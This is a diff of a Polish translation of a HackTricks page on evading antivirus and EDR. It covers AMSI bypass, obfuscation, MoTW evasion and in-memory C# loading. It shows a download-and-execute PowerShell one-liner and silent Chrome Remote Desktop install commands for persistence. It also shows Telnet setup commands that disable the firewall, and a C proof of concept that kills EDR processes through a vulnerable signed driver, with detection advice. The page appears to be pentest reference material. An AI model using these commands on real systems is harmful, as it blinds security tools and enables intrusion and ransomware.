AMSI został stworzony, aby zapobiegać "[złośliwemu oprogramowaniu bezplikowemu](https://en.wikipedia.org/wiki/Fileless_malware)". Początkowo programy antywirusowe mogły skanować tylko **pliki na dysku**, więc jeśli w jakiś sposób mogłeś wykonać ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, aby temu zapobiec, ponieważ nie miał wystarczającej widoczności.
|
||||
|
||||
Funkcja AMSI jest zintegrowana z tymi komponentami systemu Windows.
|
||||
|
||||
@ -135,7 +141,7 @@ Funkcja AMSI jest zintegrowana z tymi komponentami systemu Windows.
|
||||
- JavaScript i VBScript
|
||||
- Makra VBA w Office
|
||||
|
||||
Pozwala to rozwiązaniom antywirusowym na inspekcję zachowania skryptów poprzez ujawnienie zawartości skryptu w formie, która jest zarówno niezaszyfrowana, jak i nieukryta.
|
||||
Pozwala to rozwiązaniom antywirusowym na inspekcję zachowania skryptów poprzez ujawnienie treści skryptu w formie, która jest zarówno niezaszyfrowana, jak i nieukryta.
|
||||
|
||||
Uruchomienie `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` spowoduje wyświetlenie następującego alertu w Windows Defender.
|
||||
|
||||
@ -187,7 +193,7 @@ Miej na uwadze, że to prawdopodobnie zostanie oznaczone, gdy ten post zostanie
|
||||
|
||||
Ta technika została początkowo odkryta przez [@RastaMouse](https://twitter.com/_RastaMouse/) i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie dostarczonego przez użytkownika wejścia) i nadpisaniu go instrukcjami, aby zwrócić kod E_INVALIDARG, w ten sposób wynik rzeczywistego skanowania zwróci 0, co jest interpretowane jako czysty wynik.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Proszę przeczytać [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) w celu uzyskania bardziej szczegółowego wyjaśnienia.
|
||||
|
||||
Istnieje również wiele innych technik używanych do obejścia AMSI za pomocą PowerShell, sprawdź [**tę stronę**](basic-powershell-for-pentesters/index.html#amsi-bypass) oraz [**ten repozytorium**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się więcej na ich temat.
|
||||
@ -203,13 +209,13 @@ Możesz użyć narzędzia takiego jak **[https://github.com/cobbr/PSAmsi](https:
|
||||
Możesz znaleźć listę produktów AV/EDR, które używają AMSI w **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
|
||||
|
||||
**Use Powershell version 2**
|
||||
Jeśli używasz PowerShell w wersji 2, AMSI nie zostanie załadowany, więc możesz uruchamiać swoje skrypty bez skanowania przez AMSI. Możesz to zrobić:
|
||||
Jeśli używasz PowerShell w wersji 2, AMSI nie zostanie załadowane, więc możesz uruchamiać swoje skrypty bez skanowania przez AMSI. Możesz to zrobić:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
```
|
||||
## PS Logging
|
||||
|
||||
Logowanie PowerShell to funkcja, która pozwala na rejestrowanie wszystkich poleceń PowerShell wykonywanych na systemie. Może to być przydatne do audytów i rozwiązywania problemów, ale może też stanowić **problem dla atakujących, którzy chcą uniknąć wykrycia**.
|
||||
Logowanie PowerShell to funkcja, która pozwala na rejestrowanie wszystkich poleceń PowerShell wykonywanych w systemie. Może to być przydatne do celów audytowych i rozwiązywania problemów, ale może też stanowić **problem dla atakujących, którzy chcą uniknąć wykrycia**.
|
||||
|
||||
Aby obejść logowanie PowerShell, możesz użyć następujących technik:
|
||||
|
||||
@ -219,19 +225,19 @@ Aby obejść logowanie PowerShell, możesz użyć następujących technik:
|
||||
|
||||
## Obfuscation
|
||||
|
||||
> [!NOTE]
|
||||
> Kilka technik obfuskacji polega na szyfrowaniu danych, co zwiększy entropię binarnego pliku, co ułatwi AV i EDR jego wykrycie. Bądź ostrożny z tym i może zastosuj szyfrowanie tylko do konkretnych sekcji swojego kodu, które są wrażliwe lub muszą być ukryte.
|
||||
> [!TIP]
|
||||
> Kilka technik obfuskacji polega na szyfrowaniu danych, co zwiększy entropię binariów, co ułatwi AV i EDR ich wykrycie. Bądź ostrożny z tym i może zastosuj szyfrowanie tylko do konkretnych sekcji swojego kodu, które są wrażliwe lub muszą być ukryte.
|
||||
|
||||
Istnieje kilka narzędzi, które można wykorzystać do **obfuskacji kodu C# w postaci czystego tekstu**, generowania **szablonów metaprogramowania** do kompilacji binariów lub **obfuskacji skompilowanych binariów**, takich jak:
|
||||
|
||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): To świetny open-source obfuskator dla aplikacji .NET. Oferuje różne techniki ochrony, takie jak obfuskacja przepływu sterowania, anty-debugging, anty-tampering i szyfrowanie ciągów. Jest polecany, ponieważ pozwala nawet na obfuskację konkretnych fragmentów kodu.
|
||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): To świetny open-source'owy obfuskator dla aplikacji .NET. Oferuje różne techniki ochrony, takie jak obfuskacja przepływu sterowania, anty-debugging, anty-tampering i szyfrowanie ciągów. Jest polecany, ponieważ pozwala nawet na obfuskację konkretnych fragmentów kodu.
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuskator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie open-source'owego forka zestawu kompilacji [LLVM](http://www.llvm.org/), który ma na celu zwiększenie bezpieczeństwa oprogramowania poprzez [obfuskację kodu](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) i zabezpieczanie przed manipulacjami.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstruje, jak używać języka `C++11/14` do generowania, w czasie kompilacji, obfuskowanego kodu bez użycia jakiegokolwiek zewnętrznego narzędzia i bez modyfikacji kompilatora.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuskowanych operacji generowanych przez framework metaprogramowania C++, co utrudni życie osobie, która chce złamać aplikację.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuskowanych operacji generowanych przez framework metaprogramowania szablonów C++, co utrudni życie osobie, która chce złamać aplikację.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to obfuskator binarny x64, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame to prosty silnik kodu metamorfnego dla dowolnych plików wykonywalnych.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to framework obfuskacji kodu o wysokiej precyzji dla języków wspieranych przez LLVM, wykorzystujący ROP (programowanie oparte na zwrotach). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, co zakłóca nasze naturalne postrzeganie normalnego przepływu sterowania.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to framework obfuskacji kodu o drobnej granularności dla języków wspieranych przez LLVM, wykorzystujący ROP (programowanie oparte na zwrotach). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, co zakłóca nasze naturalne postrzeganie normalnego przepływu sterowania.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt to .NET PE Crypter napisany w Nim.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi przekształcić istniejące EXE/DLL w shellcode, a następnie je załadować.
|
||||
|
||||
@ -243,16 +249,16 @@ Microsoft Defender SmartScreen to mechanizm zabezpieczeń mający na celu ochron
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen działa głównie na podstawie podejścia opartego na reputacji, co oznacza, że rzadko pobierane aplikacje wywołają SmartScreen, co ostrzeże i uniemożliwi użytkownikowi końcowemu uruchomienie pliku (choć plik nadal można uruchomić, klikając Więcej informacji -> Uruchom mimo to).
|
||||
SmartScreen działa głównie na podstawie podejścia opartego na reputacji, co oznacza, że rzadko pobierane aplikacje wywołają SmartScreen, co ostrzeże i uniemożliwi użytkownikowi końcowemu wykonanie pliku (chociaż plik można nadal uruchomić, klikając Więcej informacji -> Uruchom mimo to).
|
||||
|
||||
**MoTW** (Mark of The Web) to [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) o nazwie Zone.Identifier, który jest automatycznie tworzony po pobraniu plików z internetu, wraz z adresem URL, z którego został pobrany.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Sprawdzanie ADS Zone.Identifier dla pliku pobranego z internetu.</p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Ważne jest, aby zauważyć, że pliki wykonywalne podpisane **zaufanym** certyfikatem podpisu **nie wywołają SmartScreen**.
|
||||
|
||||
Bardzo skutecznym sposobem na zapobieganie oznaczaniu twoich ładunków jako Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowane do **woluminów nie-NTFS**.
|
||||
Bardzo skutecznym sposobem na zapobieżenie oznaczeniu twoich ładunków jako Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowane do **woluminów nie-NTFS**.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -294,9 +300,9 @@ Więcej informacji można znaleźć w **[https://blog.xpnsec.com/hiding-your-dot
|
||||
|
||||
## C# Assembly Reflection
|
||||
|
||||
Ładowanie binarnych plików C# w pamięci jest znane od dłuższego czasu i wciąż jest to bardzo dobry sposób na uruchamianie narzędzi post-exploitation bez wykrycia przez AV.
|
||||
Ładowanie binariów C# w pamięci jest znane od dłuższego czasu i wciąż jest to bardzo dobry sposób na uruchamianie narzędzi post-exploitation bez wykrycia przez AV.
|
||||
|
||||
Ponieważ ładunek będzie ładowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli martwić się tylko o patchowanie AMSI dla całego procesu.
|
||||
Ponieważ ładunek zostanie załadowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli martwić się tylko o patchowanie AMSI dla całego procesu.
|
||||
|
||||
Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc itp.) już oferuje możliwość wykonywania zestawów C# bezpośrednio w pamięci, ale istnieją różne sposoby, aby to zrobić:
|
||||
|
||||
@ -308,11 +314,11 @@ Polega to na **uruchomieniu nowego procesy ofiarnego**, wstrzyknięciu złośliw
|
||||
|
||||
- **Inline**
|
||||
|
||||
Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje **dużo większa szansa** na **utracenie twojego beacona**, ponieważ może on się zawiesić.
|
||||
Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje **dużo większa szansa** na **utracenie swojego beacona**, ponieważ może on się zawiesić.
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Jeśli chcesz przeczytać więcej o ładowaniu zestawów C#, sprawdź ten artykuł [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) oraz ich InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
|
||||
Możesz również ładować zestawy C# **z PowerShell**, sprawdź [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) oraz [film S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
@ -321,13 +327,13 @@ Możesz również ładować zestawy C# **z PowerShell**, sprawdź [Invoke-SharpL
|
||||
|
||||
Jak zaproponowano w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), możliwe jest wykonywanie złośliwego kodu przy użyciu innych języków, dając skompromitowanej maszynie dostęp **do środowiska interpretera zainstalowanego na udziale SMB kontrolowanym przez atakującego**.
|
||||
|
||||
Umożliwiając dostęp do binarnych plików interpretera i środowiska na udziale SMB, możesz **wykonywać dowolny kod w tych językach w pamięci** skompromitowanej maszyny.
|
||||
Umożliwiając dostęp do binariów interpretera i środowiska na udziale SMB, możesz **wykonywać dowolny kod w tych językach w pamięci** skompromitowanej maszyny.
|
||||
|
||||
Repozytorium wskazuje: Defender nadal skanuje skrypty, ale korzystając z Go, Java, PHP itp. mamy **więcej elastyczności w omijaniu statycznych sygnatur**. Testowanie losowych, nieobfuskowanych skryptów reverse shell w tych językach okazało się skuteczne.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping to technika, która pozwala atakującemu na **manipulowanie tokenem dostępu lub produktem zabezpieczającym, takim jak EDR lub AV**, co pozwala im na obniżenie jego uprawnień, aby proces nie zakończył się, ale nie miał uprawnień do sprawdzania złośliwych działań.
|
||||
Token stomping to technika, która pozwala atakującemu na **manipulację tokenem dostępu lub produktem zabezpieczającym, takim jak EDR lub AV**, co pozwala im na obniżenie jego uprawnień, aby proces nie umierał, ale nie miał uprawnień do sprawdzania złośliwych działań.
|
||||
|
||||
Aby temu zapobiec, Windows mógłby **zapobiec zewnętrznym procesom** uzyskiwania uchwytów do tokenów procesów zabezpieczających.
|
||||
|
||||
@ -335,13 +341,23 @@ Aby temu zapobiec, Windows mógłby **zapobiec zewnętrznym procesom** uzyskiwan
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
|
||||
|
||||
## Using Trusted Software
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
Jak opisano w [**tym wpisie na blogu**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), łatwo jest po prostu zainstalować Chrome Remote Desktop na komputerze ofiary, a następnie użyć go do przejęcia go i utrzymania trwałości:
|
||||
1. Pobierz z https://remotedesktop.google.com/, kliknij "Skonfiguruj przez SSH", a następnie kliknij plik MSI dla Windows, aby pobrać plik MSI.
|
||||
2. Uruchom instalator w trybie cichym na ofierze (wymagane uprawnienia administratora): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Wróć do strony Chrome Remote Desktop i kliknij dalej. Kreator poprosi cię o autoryzację; kliknij przycisk Autoryzuj, aby kontynuować.
|
||||
4. Wykonaj podany parametr z pewnymi dostosowaniami: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Zauważ parametr pin, który pozwala ustawić pin bez użycia GUI).
|
||||
|
||||
## Advanced Evasion
|
||||
|
||||
Ewazja to bardzo skomplikowany temat, czasami musisz wziąć pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc praktycznie niemożliwe jest pozostanie całkowicie niewykrytym w dojrzałych środowiskach.
|
||||
|
||||
Każde środowisko, przeciwko któremu się stawiasz, będzie miało swoje własne mocne i słabe strony.
|
||||
|
||||
Zachęcam cię do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/DaniLJ94), aby uzyskać podstawy bardziej zaawansowanych technik ewazji.
|
||||
Zachęcam cię do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/DaniLJ94), aby uzyskać wgląd w bardziej zaawansowane techniki ewazji.
|
||||
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
@ -355,14 +371,14 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
## **Old Techniques**
|
||||
|
||||
### **Check which parts Defender finds as malicious**
|
||||
### **Sprawdź, które części Defender uznaje za złośliwe**
|
||||
|
||||
Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który **usunie części binariów**, aż **dowie się, która część Defender** uznaje za złośliwą i podzieli się tym z tobą.\
|
||||
Innym narzędziem wykonującym **to samo jest** [**avred**](https://github.com/dobin/avred) z otwartą stroną oferującą usługę w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
Innym narzędziem wykonującym **to samo jest** [**avred**](https://github.com/dobin/avred) z otwartą stroną internetową oferującą usługę w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Telnet Server**
|
||||
### **Serwer Telnet**
|
||||
|
||||
Do Windows 10 wszystkie systemy Windows miały **serwer Telnet**, który można było zainstalować (jako administrator) wykonując:
|
||||
Do Windows 10 wszystkie wersje Windows miały **serwer Telnet**, który można było zainstalować (jako administrator) wykonując:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
@ -370,7 +386,7 @@ Uruchom to **przy starcie** systemu i **uruchom** to teraz:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
**Zmień port telnet** (ukryty) i wyłącz zaporę:
|
||||
**Zmień port telnet** (stealth) i wyłącz zaporę:
|
||||
```
|
||||
tlntadmn config port=80
|
||||
netsh advfirewall set allprofiles state off
|
||||
@ -574,4 +590,45 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
## Przynieś Własny Wrażliwy Sterownik (BYOVD) – Zabijanie AV/EDR z Poziomu Jądra
|
||||
|
||||
Storm-2603 wykorzystał małe narzędzie konsolowe znane jako **Antivirus Terminator**, aby wyłączyć zabezpieczenia punktów końcowych przed zainstalowaniem ransomware. Narzędzie przynosi **własny wrażliwy, ale *podpisany* sterownik** i nadużywa go, aby wydawać uprzywilejowane operacje jądra, których nawet usługi AV chronione przez Protected-Process-Light (PPL) nie mogą zablokować.
|
||||
|
||||
Kluczowe wnioski
|
||||
1. **Podpisany sterownik**: Plik dostarczony na dysk to `ServiceMouse.sys`, ale binarny to legalnie podpisany sterownik `AToolsKrnl64.sys` z „System In-Depth Analysis Toolkit” Antiy Labs. Ponieważ sterownik ma ważny podpis Microsoftu, ładowany jest nawet gdy wymuszenie podpisu sterownika (DSE) jest włączone.
|
||||
2. **Instalacja usługi**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
Pierwsza linia rejestruje sterownik jako **usługę jądra**, a druga uruchamia go, aby `\\.\ServiceMouse` stał się dostępny z poziomu użytkownika.
|
||||
3. **IOCTLs udostępnione przez sterownik**
|
||||
| Kod IOCTL | Możliwość |
|
||||
|-----------:|-----------------------------------------|
|
||||
| `0x99000050` | Zakończ dowolny proces po PID (używane do zabijania usług Defender/EDR) |
|
||||
| `0x990000D0` | Usuń dowolny plik na dysku |
|
||||
| `0x990001D0` | Załaduj sterownik i usuń usługę |
|
||||
|
||||
Minimalny dowód koncepcji w C:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
int main(int argc, char **argv){
|
||||
DWORD pid = strtoul(argv[1], NULL, 10);
|
||||
HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
|
||||
CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Dlaczego to działa**: BYOVD całkowicie pomija zabezpieczenia w trybie użytkownika; kod, który wykonuje się w jądrze, może otwierać *chronione* procesy, kończyć je lub manipulować obiektami jądra niezależnie od PPL/PP, ELAM lub innych funkcji wzmacniających.
|
||||
|
||||
Wykrywanie / Łagodzenie
|
||||
• Włącz listę blokowania wrażliwych sterowników Microsoftu (`HVCI`, `Smart App Control`), aby Windows odmówił załadowania `AToolsKrnl64.sys`.
|
||||
• Monitoruj tworzenie nowych *usług* jądra i powiadamiaj, gdy sterownik jest ładowany z katalogu zapisywalnego przez świat lub nie znajduje się na liście dozwolonych.
|
||||
• Obserwuj uchwyty w trybie użytkownika do niestandardowych obiektów urządzeń, po których następują podejrzane wywołania `DeviceIoControl`.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user